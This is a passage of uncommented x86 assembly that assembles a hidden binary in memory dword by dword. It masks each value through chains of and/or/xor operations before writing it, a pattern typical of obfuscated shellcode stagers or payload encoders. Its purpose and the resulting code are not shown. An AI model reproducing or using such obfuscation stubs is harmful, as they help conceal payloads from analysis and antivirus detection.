add ebx, edx
xor eax, 0x10d2c61b
and eax, 0x5d96170e
and eax, 0x11001000
or eax, 0x8489ec55
mov dword [ebx], eax
add ebx, edx
or eax, 0x57ad929c
and eax, 0xd7adfe44
or eax, 0x28520000
mov dword [ebx], eax
add ebx, edx
and eax, 0x485f7d3
xor eax, 0x499d5d6e
and eax, 0x910010a
or eax, 0x80a44481
mov dword [ebx], eax
add ebx, edx
or eax, 0x56c07f90
xor eax, 0x4b9efebf
and eax, 0x946a0004
or eax, 0x6b944081
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cd09752
and eax, 0xb04c83d7
or eax, 0x10828
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2527ee33
and eax, 0x1e40c604
and eax, 0x4000
or eax, 0x89018183
mov dword [ebx], eax
add ebx, edx
and eax, 0x64ba40b9
and eax, 1
or eax, 0x958bb04c
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e6193bc
and eax, 0xffebb244
or eax, 0x144c00
mov dword [ebx], eax
add ebx, edx
and eax, 0x45f422ff
and eax, 0x44400000
or eax, 0xba00953b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f80cebc
or eax, 0xa89dad8
and eax, 0x4149dbdf
or eax, 0x20342420
mov dword [ebx], eax
add ebx, edx
xor eax, 0x277202e9
and eax, 0x2004502
or eax, 0x9f00089
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fad13ba
or eax, 0x5721c5b4
and eax, 0x5920c004
or eax, 0x543841
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d1d4151
and eax, 0x9104001
or eax, 0x80e00d8a
mov dword [ebx], eax
add ebx, edx
or eax, 0x8760b97
and eax, 0x89f60c8d
or eax, 0x76083000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4562901b
and eax, 0xc454889f
or eax, 0x10360
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f0f6cfb
xor eax, 0x653370f6
and eax, 0x8e289580
or eax, 0x70100009
mov dword [ebx], eax
add ebx, edx
and eax, 0x654836f9
and eax, 0x44081489
or eax, 0x183eb76
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a91c8f8
and eax, 0x1000300
or eax, 0xc080f0
mov dword [ebx], eax
add ebx, edx
and eax, 0x149fe5b5
and eax, 0x800180
or eax, 0x8b704409
mov dword [ebx], eax
add ebx, edx
or eax, 0x3de1e6cc
and eax, 0xbff0248d
or eax, 0x400e1800
mov dword [ebx], eax
add ebx, edx
or eax, 0x12c0ad90
and eax, 0x388c399d
or eax, 0x10262
mov dword [ebx], eax
add ebx, edx
and eax, 0x5860cd57
xor eax, 0x316d9cb9
and eax, 0x286d95ee
or eax, 0x54926a10
mov dword [ebx], eax
add ebx, edx
and eax, 0x3455e10
and eax, 0x2f96de50
and eax, 0x40a00
or eax, 0xfc518127
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c6747ae
and eax, 0x8010202
or eax, 0x8100e881
mov dword [ebx], eax
add ebx, edx
and eax, 0x7eced6b
or eax, 0x6bfb2701
and eax, 0x418bec01
or eax, 0x4001054
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd97270
and eax, 0x44400220
or eax, 0xb80501c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x8539a3
and eax, 0xfc040181
or eax, 0x2308408
mov dword [ebx], eax
add ebx, edx
and eax, 0x1163cd9b
or eax, 0x250a6cc1
and eax, 0x50aedc9
or eax, 0x48811236
mov dword [ebx], eax
add ebx, edx
xor eax, 0x666eebb7
and eax, 0x1e10040
or eax, 0x883a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x141b89d4
and eax, 0x1e00980
or eax, 0x82004409
mov dword [ebx], eax
add ebx, edx
xor eax, 0x709c5256
and eax, 0x2c638d2c
and eax, 0x2060040c
or eax, 0xdf9e30b1
mov dword [ebx], eax
add ebx, edx
and eax, 0x5124192f
and eax, 0x124002d
or eax, 0x85000d2
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f3e367b
and eax, 0x32c148b
or eax, 0x80804100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bcea869
or eax, 0x6570c79
and eax, 0x540101c2
or eax, 0x1880000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47f17f80
and eax, 0x10400a00
or eax, 0xac0581ac
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d08dc7a
and eax, 0x3bb9d951
and eax, 0x901c800
or eax, 0x80002083
mov dword [ebx], eax
add ebx, edx
and eax, 0x26c73eec
and eax, 0x12800
or eax, 0x4d8a9445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51366a11
and eax, 0xa98254
or eax, 0x1400180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31e94ddd
and eax, 0x4c09
or eax, 0x8bd40180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a285b67
and eax, 0x91881044
or eax, 0x401e811
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2639209f
and eax, 0xb3b0d800
or eax, 0x4c4f2630
mov dword [ebx], eax
add ebx, edx
or eax, 0x23f9b043
or eax, 0x5095757d
and eax, 0x89f4450b
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
or eax, 0x58fbdbfd
xor eax, 0x51fb94d8
and eax, 0x88040805
or eax, 0x77fa2480
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc4cf18d
xor eax, 0x7cfdeb5d
and eax, 0x844d0255
or eax, 0x700089aa
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d28bebb
and eax, 0x8901a983
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3123e94b
and eax, 0x1901215a
and eax, 0x11012048
or eax, 0x848ad405
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ec4a577
and eax, 0xdfcff430
or eax, 0x20300a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42d90495
xor eax, 0x5ccb3a7c
and eax, 0xe02c8019
or eax, 0x1e001522
mov dword [ebx], eax
add ebx, edx
and eax, 0x757e07ad
and eax, 0x542c0529
or eax, 0x351fad6
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d4ad699
and eax, 0x161915bc
and eax, 0x488
or eax, 0x23d44103
mov dword [ebx], eax
add ebx, edx
and eax, 0x757c508b
and eax, 0x1104001
or eax, 0x442bb044
mov dword [ebx], eax
add ebx, edx
and eax, 0xbcda98f
and eax, 0x55091e95
and eax, 0x1080004
or eax, 0x8a447dc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x74bb3f6f
and eax, 0x2c44
or eax, 0x4d038009
mov dword [ebx], eax
add ebx, edx
and eax, 0x127b33fa
and eax, 0x10000
or eax, 0x288c89b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32f5c1ac
or eax, 0x74d49a17
and eax, 0xafcda1e
or eax, 0x810325e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ecfbcac
xor eax, 0x642df03f
and eax, 0xc2820041
or eax, 0x1b014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f84278b
and eax, 0xa0058100
or eax, 0x10500801
mov dword [ebx], eax
add ebx, edx
and eax, 0x769c3fa1
xor eax, 0x53703
and eax, 0x30003c02
or eax, 0xce288181
mov dword [ebx], eax
add ebx, edx
or eax, 0x456a8e86
or eax, 0xe8e6cf
and eax, 0x7400ffcf
or eax, 0x30
mov dword [ebx], eax
add ebx, edx
xor eax, 0x211db02d
xor eax, 0x6e738977
and eax, 0x18448224
or eax, 0xc401090a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bdba057
and eax, 0x81000001
or eax, 0x801c082
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fa196cc
and eax, 0x4d81d445
or eax, 0xa0800
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fef3dd0
and eax, 0x144d29d4
or eax, 0xa0000208
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cb6bcaf
xor eax, 0xceb2caa
and eax, 0x30040111
or eax, 0x4de84c2a
mov dword [ebx], eax
add ebx, edx
and eax, 0x56c9676d
and eax, 0x10400108
or eax, 0xa8158a12
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47c13bce
and eax, 0x1ed16e69
and eax, 0x8000000
or eax, 0x8101c283
mov dword [ebx], eax
add ebx, edx
or eax, 0x31e489a3
and eax, 0x1818801
or eax, 0x440a3054
mov dword [ebx], eax
add ebx, edx
and eax, 0xc68824f
and eax, 0x255224ba
and eax, 0x4000000
or eax, 0xe0453bb8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a4a02
and eax, 0x5749650c
and eax, 0x44090108
or eax, 0x9820875
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e90b271
or eax, 0x3ee3e5cd
and eax, 0x1c183c0
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6849133c
and eax, 0x25b161fb
and eax, 0x1800088
or eax, 0x8a604d01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f9b0785
or eax, 0x5f0d1a09
and eax, 0x550b5805
or eax, 0xa450
mov dword [ebx], eax
add ebx, edx
and eax, 0x16a9d835
and eax, 0x85014
or eax, 0x8b0024a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7da5d000
and eax, 0x73f1b1e3
and eax, 0x4021a000
or eax, 0x51a4c45
mov dword [ebx], eax
add ebx, edx
or eax, 0x3223ae67
and eax, 0x2e7bb355
and eax, 0x2082000
or eax, 0x89005cb0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47b440ac
or eax, 0x25812ba9
and eax, 0x4d39380d
or eax, 0x2c040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3429f67a
and eax, 0x9197c5c
or eax, 0x82400180
mov dword [ebx], eax
add ebx, edx
and eax, 0x293f8f64
and eax, 0x5a701a17
and eax, 0x100804
or eax, 0x5523b051
mov dword [ebx], eax
add ebx, edx
or eax, 0x65716e94
and eax, 0x241188c4
or eax, 0x840120
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5be4bcde
or eax, 0x345aa966
and eax, 0xb7bbd7e
or eax, 0x80844280
mov dword [ebx], eax
add ebx, edx
and eax, 0x35141d45
or eax, 0x2588d85b
and eax, 0x2080c445
or eax, 0xc8032000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x416ac427
or eax, 0x2f28fe68
and eax, 0xa4418800
or eax, 0x40040101
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bfb287b
and eax, 0x23cc7b41
and eax, 0x22042901
or eax, 0xdc209482
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b0c57f3
and eax, 0x7400fff3
or eax, 0xc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3745f391
and eax, 0x4045082a
or eax, 0xbc088311
mov dword [ebx], eax
add ebx, edx
or eax, 0x38abbaba
and eax, 0x8801a983
or eax, 0x1004000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f593942
or eax, 0xf424cd3
and eax, 0x450adc41
or eax, 0x1081200c
mov dword [ebx], eax
add ebx, edx
or eax, 0x577b6232
and eax, 0x50513a7c
or eax, 0x80040180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x238c517e
or eax, 0x1b2be0de
and eax, 0x81c3085c
or eax, 0x4040421
mov dword [ebx], eax
add ebx, edx
and eax, 0x63ff3388
or eax, 0x525fb0cf
and eax, 0x53dfb040
or eax, 0xac204f30
mov dword [ebx], eax
add ebx, edx
and eax, 0x30803cfc
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x418b8178
or eax, 0x6a011433
and eax, 0x183006b
or eax, 0x84440a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x559b3334
and eax, 0x2d097156
and eax, 0x83150
or eax, 0xfff7ce20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6005f151
or eax, 0x4c5a54e9
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e2c450a
and eax, 0
or eax, 0x23c4458b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ec8e31d
or eax, 0x5f1ba044
and eax, 0x5f1f2084
or eax, 0xa0e05001
mov dword [ebx], eax
add ebx, edx
and eax, 0x34fe235c
or eax, 0x622763a8
and eax, 0x20960ac
or eax, 0x89001453
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e656751
and eax, 0x8100000c
or eax, 0x4083ac41
mov dword [ebx], eax
add ebx, edx
or eax, 0x27c8cda2
and eax, 0xa4498901
or eax, 0x8040000
mov dword [ebx], eax
add ebx, edx
and eax, 0x40f87c2e
and eax, 0x480800
or eax, 0xffb326e9
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f74040e
and eax, 0xe00f28ef
or eax, 0xc010
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bed067f
and eax, 0x2008007f
or eax, 0x8ae0ff80
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e726060
and eax, 0x8a0000e5
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x353864ba
or eax, 0x54acbc9e
and eax, 0x40809414
or eax, 0xaa014041
mov dword [ebx], eax
add ebx, edx
or eax, 0x366b59be
and eax, 0x722e8c38
and eax, 0x20
or eax, 0x4387
mov dword [ebx], eax
add ebx, edx
or eax, 0x37aab5b4
and eax, 0x3805581
or eax, 0x88540008
mov dword [ebx], eax
add ebx, edx
and eax, 0x1831729e
xor eax, 0x5104624c
and eax, 0x41002044
or eax, 0x42bc001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x168a8e5
and eax, 0x40410880
or eax, 0xa0048154
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b40a4d3
xor eax, 0x59e07d21
and eax, 0x8100e2
or eax, 0x4d0a0909
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc40993f
and eax, 0x1c180c0
or eax, 0x320
mov dword [ebx], eax
add ebx, edx
or eax, 0x1269c33e
and eax, 0x3e04188
or eax, 0x88000c01
mov dword [ebx], eax
add ebx, edx
or eax, 0x116f39fc
and eax, 0x646cc8a4
and eax, 0x284004
or eax, 0x5513a051
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a1d82c8
and eax, 0xd0d0290
or eax, 0x800d20
mov dword [ebx], eax
add ebx, edx
or eax, 0x69e0173e
or eax, 0x3540ab29
and eax, 0x9000003
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d3ac8f0
and eax, 0x8000000
or eax, 0xe083dc45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7de3c0bd
and eax, 0x94400800
or eax, 0x48058101
mov dword [ebx], eax
add ebx, edx
or eax, 0xfa5323d
and eax, 0x83c00909
or eax, 0x4482
mov dword [ebx], eax
add ebx, edx
and eax, 0x67d0d944
and eax, 0x75b21ed5
and eax, 0x1800000
or eax, 0x4c0901c1
mov dword [ebx], eax
add ebx, edx
or eax, 0x29412306
and eax, 0x604103c0
or eax, 0x90148800
mov dword [ebx], eax
add ebx, edx
and eax, 0x69b776b8
and eax, 0x60140000
or eax, 0x1da0553b
mov dword [ebx], eax
add ebx, edx
or eax, 0x61c5a801
and eax, 0x2c458922
or eax, 0x80000200
mov dword [ebx], eax
add ebx, edx
or eax, 0x55dca1da
or eax, 0xc99a444
and eax, 0x8901a882
or eax, 0x4001
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eaba45f
xor eax, 0x2f20ec47
and eax, 0x408b0000
or eax, 0xd00ac45
mov dword [ebx], eax
add ebx, edx
and eax, 0x164e5557
and eax, 0x247a7a3e
and eax, 0x4080000
or eax, 0xa84503d8
mov dword [ebx], eax
add ebx, edx
and eax, 0x7028f395
xor eax, 0x720e89d0
and eax, 0x50020040
or eax, 0x5891134
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66a81b73
and eax, 0x1020204
or eax, 0xc081e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f8842b2
and eax, 0xbc84188
or eax, 0x80241401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6467a036
and eax, 0x450be405
or eax, 0x840
mov dword [ebx], eax
add ebx, edx
or eax, 0x707213da
and eax, 0x131759c
or eax, 0x8a040020
mov dword [ebx], eax
add ebx, edx
or eax, 0x797d431e
and eax, 0xab0d540c
or eax, 0x4028841
mov dword [ebx], eax
add ebx, edx
and eax, 0x5eb62ee0
and eax, 0x4ad56d1e
and eax, 0x8000400
or eax, 0x453bc04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c6b6f0a
or eax, 0x182c3b4b
and eax, 0x9297c48
or eax, 0x820000a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f230372
and eax, 0x31539760
and eax, 0x1010040
or eax, 0x9488e815
mov dword [ebx], eax
add ebx, edx
or eax, 0x583f0625
and eax, 0xddbfee20
or eax, 0x22401000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6530a55a
and eax, 0x726a7e41
and eax, 0x400
or eax, 0x89d4418b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x560922a
or eax, 0x6380ca75
and eax, 0xefb41c85
or eax, 0x104a0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b039f4f
and eax, 0x697236f5
and eax, 0x404002c5
or eax, 0x940d893a
mov dword [ebx], eax
add ebx, edx
or eax, 0x425fc0e3
and eax, 0x8001c983
or eax, 0x9002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x147dbc7f
xor eax, 0x24122a1e
and eax, 0x403800d
or eax, 0x91885440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x212c7b9
and eax, 0x97991220
or eax, 0x6866ec00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d4831b
or eax, 0x2dbc993f
and eax, 0xfc1c953b
or eax, 0x2000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75d82554
xor eax, 0x1ba40869
and eax, 0x60b806
or eax, 0x91d47f9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44705573
and eax, 0x1000088
or eax, 0x82d04503
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e7568cf
xor eax, 0x14d174ec
and eax, 0x1000120
or eax, 0x448900c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62239378
and eax, 0x4cad3632
and eax, 0x80210
or eax, 0xd84589c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x76b7805
and eax, 0x480800
or eax, 0x7cb4453b
mov dword [ebx], eax
add ebx, edx
and eax, 0x26e3b1f8
xor eax, 0x2d1f24ea
and eax, 0x8550112
or eax, 0xf0008a21
mov dword [ebx], eax
add ebx, edx
or eax, 0x59496bde
and eax, 0x21e948f3
and eax, 0x21084003
or eax, 0x1ab41508
mov dword [ebx], eax
add ebx, edx
or eax, 0x5924ca3f
and eax, 0x283ccc15
or eax, 0x400040
mov dword [ebx], eax
add ebx, edx
and eax, 0x59e8b408
and eax, 0x78e7a6ac
and eax, 0x8600400
or eax, 0x2388418b
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c17468f
and eax, 0x4001
or eax, 0x453b8044
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ca04d05
and eax, 0x4000
or eax, 0x8b1d3cf0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13e0c43d
and eax, 0x8081b04d
or eax, 0x41020400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58cf3a13
and eax, 0x904c8800
or eax, 0x24010101
mov dword [ebx], eax
add ebx, edx
or eax, 0x81edb53
or eax, 0x693fd959
and eax, 0x814c510b
or eax, 0x2800480
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d57bff9
and eax, 0x170b48cc
and eax, 0x150900c0
or eax, 0x40800102
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bb9b5a3
xor eax, 0x36d47a9e
and eax, 0x24450b0c
or eax, 0x900080c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d43855e
and eax, 0x400100
or eax, 0x3b8c4403
mov dword [ebx], eax
add ebx, edx
or eax, 0x4641ff7e
and eax, 0x94df045
or eax, 0x300000
mov dword [ebx], eax
add ebx, edx
and eax, 0x48795255
and eax, 0x784001
or eax, 0x83840d8a
mov dword [ebx], eax
add ebx, edx
or eax, 0x19eb5b9
and eax, 0x662658d5
and eax, 0x81
or eax, 0x4d890140
mov dword [ebx], eax
add ebx, edx
and eax, 0x3193fd20
and eax, 0x4aaeac58
and eax, 0
or eax, 0xf0558bfc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c9c2cfe
or eax, 0x65bde424
and eax, 0x64c04522
or eax, 0x10001011
mov dword [ebx], eax
add ebx, edx
or eax, 0xf172678
or eax, 0x6d023db2
and eax, 0x3c450b09
or eax, 0x80008000
mov dword [ebx], eax
add ebx, edx
and eax, 0x60464bdf
and eax, 0x2f371a93
and eax, 0x801
or eax, 0x8901e082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70b8e17c
and eax, 0x32ef192d
and eax, 0x890805
or eax, 0x4d02b440
mov dword [ebx], eax
add ebx, edx
or eax, 0xc302a2d
and eax, 0x889882c
or eax, 0x10040180
mov dword [ebx], eax
add ebx, edx
and eax, 0x739b165e
and eax, 0x89000c
or eax, 0x8b76fff2
mov dword [ebx], eax
add ebx, edx
and eax, 0x39d9e59d
and eax, 0x189c014
or eax, 0x94001041
mov dword [ebx], eax
add ebx, edx
or eax, 0x6db1f158
or eax, 0x76b9b364
and eax, 0xffb9f214
or eax, 0x460c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x567cf94b
and eax, 0x8180050b
or eax, 0x22c4080
mov dword [ebx], eax
add ebx, edx
and eax, 0x53f0f14e
or eax, 0x350295af
and eax, 0x58001a8
or eax, 0x40090040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d5ce7f1
and eax, 0x6e32e1ba
and eax, 0x8008008
or eax, 0x108d0ba4
mov dword [ebx], eax
add ebx, edx
and eax, 0x4463f66f
and eax, 0x10ced60c
and eax, 0x820c
or eax, 0x3bff7df2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2430f53
or eax, 0x61a7246f
and eax, 0x79be148d
or eax, 0x86400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76d449a7
and eax, 0x89085d2a
or eax, 0x20120d5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34e52400
and eax, 0x3116d8e1
and eax, 0x4841
or eax, 0xc283a414
mov dword [ebx], eax
add ebx, edx
or eax, 0x362119dc
and eax, 0xe4018901
or eax, 0x8540000
mov dword [ebx], eax
add ebx, edx
or eax, 0x45685c9d
or eax, 0x41beb5ba
and eax, 0x89e4458b
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x147fab6c
or eax, 0x28e9f82e
and eax, 0xbdfe1085
or eax, 0x42000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71a039cc
and eax, 0x250a7f98
and eax, 0x80908
or eax, 0xe84582f7
mov dword [ebx], eax
add ebx, edx
or eax, 0x1299f827
and eax, 0xfa0c8989
or eax, 0x4000400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e2691bf
and eax, 0x6cdf9427
and eax, 0xa1426
or eax, 0x5581ebd9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67c6ef35
and eax, 0x4000c0
or eax, 0x1828324
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71417f14
xor eax, 0x1d6dc425
and eax, 0x9e41081
or eax, 0x82004508
mov dword [ebx], eax
add ebx, edx
and eax, 0x8e57623
or eax, 0x4a9888d2
and eax, 0x4afc1081
or eax, 0xb5020004
mov dword [ebx], eax
add ebx, edx
and eax, 0x51c8cccb
and eax, 0x800081
or eax, 0xc053b7e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17f4a337
and eax, 0xb7198c8
or eax, 0x48e6736
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20dbcd06
and eax, 0x88
or eax, 0x1c805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43eed00e
and eax, 0x4d0800
or eax, 0xb8008300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b3240ad
and eax, 0xe04d8b0d
or eax, 0x1c002402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46850a42
xor eax, 0x7063c34e
and eax, 0x800b4001
or eax, 0x4048984
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd698c54
and eax, 0x191
or eax, 0x28
mov dword [ebx], eax
add ebx, edx
or eax, 0x7da730de
and eax, 0x1a4118b
or eax, 0x2584400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c7a75b5
and eax, 0x8042014
or eax, 0x709441
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3dd3a715
and eax, 0x68edb4b5
and eax, 0x20a00000
or eax, 0x1b48458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b33762f
and eax, 0x765e3aa2
and eax, 0x10581000
or eax, 0x424c845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d997af3
and eax, 0x57004794
and eax, 0x1000080
or eax, 0x3ac44d0b
mov dword [ebx], eax
add ebx, edx
and eax, 0x4927afd2
xor eax, 0x1451d2d1
and eax, 0xc54cc41
or eax, 0x28000c
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a1f5d22
and eax, 0x8084400
or eax, 0x33c0118b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73de0241
and eax, 0x8061040
or eax, 0x8509a815
mov dword [ebx], eax
add ebx, edx
and eax, 0x75e8477c
or eax, 0x6f6a6df6
and eax, 0x194
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x64eab12b
and eax, 0xc8018b
or eax, 0xb144400
mov dword [ebx], eax
add ebx, edx
or eax, 0x15f3a5ed
and eax, 0x769a01ab
and eax, 0x4880001
or eax, 0x8101ec44
mov dword [ebx], eax
add ebx, edx
or eax, 0xc7bb67a
and eax, 0x79bfb7d2
and eax, 0x9bbb600
or eax, 0xf6444808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e777dc3
xor eax, 0x69c73029
and eax, 0x884c0182
or eax, 0x1804c09
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f5889a5
or eax, 0x5e34c962
and eax, 0xdffc048d
or eax, 0x20020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x319ca184
xor eax, 0x4676d9ec
and eax, 0xa8000861
or eax, 0x4455839e
mov dword [ebx], eax
add ebx, edx
and eax, 0x3903eee4
and eax, 0x8018280
or eax, 0x81004003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79c7da2f
and eax, 0x77e1ca56
and eax, 0x800804
or eax, 0x850be451
mov dword [ebx], eax
add ebx, edx
and eax, 0x73a2da29
xor eax, 0x75cad1f3
and eax, 0x74481800
or eax, 0x8bb7e608
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5cba4ba3
and eax, 0x71f04d1a
and eax, 0x2000050a
or eax, 0xde048031
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f3f875d
and eax, 0x1b3c877f
or eax, 0x407880
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b86fbdc
or eax, 0x137b4c72
and eax, 0x132c4d8a
or eax, 0x20800001
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a036c25
and eax, 0xf480d
or eax, 0x84009040
mov dword [ebx], eax
add ebx, edx
or eax, 0x59d9b249
or eax, 0x507cd050
and eax, 0x5d
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f6f1de1
and eax, 0x5f6500e9
and eax, 0xb200089
or eax, 0x985502
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5038deaf
or eax, 0x595c3f98
and eax, 0x5118b414
or eax, 0x4234041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x550d00d6
and eax, 0x3917badc
and eax, 0x40080
or eax, 0x4e890f44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42a5dc8d
xor eax, 0x39683b13
and eax, 0x1000000
or eax, 0x8a000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x157104ba
and eax, 0x4210401
or eax, 0x4102e844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24b6af
or eax, 0x4e5435e8
and eax, 0x4c453ba8
or eax, 0xb0000014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46bc4cc7
and eax, 0x8892378
or eax, 0x45020004
mov dword [ebx], eax
add ebx, edx
and eax, 0x42e3a771
and eax, 0x40012340
or eax, 0xb84c1888
mov dword [ebx], eax
add ebx, edx
or eax, 0x58cd5b8e
or eax, 0x5572d797
and eax, 0x558b1b5c
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
and eax, 0x4372c47c
xor eax, 0x41778f3c
and eax, 0x550b40
or eax, 0xd40030a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ad64e86
and eax, 0x40804
or eax, 0x12b850b
mov dword [ebx], eax
add ebx, edx
or eax, 0x693f890e
xor eax, 0x2ec8f519
and eax, 0x45830000
or eax, 0x80000
mov dword [ebx], eax
add ebx, edx
or eax, 0xaa0f953
or eax, 0x730371d7
and eax, 0x500129d0
or eax, 0x80440220
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63ff5d88
and eax, 0x3984438
or eax, 0xc400103
mov dword [ebx], eax
add ebx, edx
or eax, 0x79643ed6
and eax, 0x208d
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f65acb8
or eax, 0x55f5e2ff
and eax, 0x14458200
or eax, 0xa0080900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39e10031
and eax, 0xd8c0931
or eax, 0x7040440a
mov dword [ebx], eax
add ebx, edx
or eax, 0x66e28ed4
xor eax, 0x51c71218
and eax, 0x2c01c504
or eax, 0x40840208
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc5c4cd
and eax, 0x6ff5cbd2
and eax, 0x4003c0
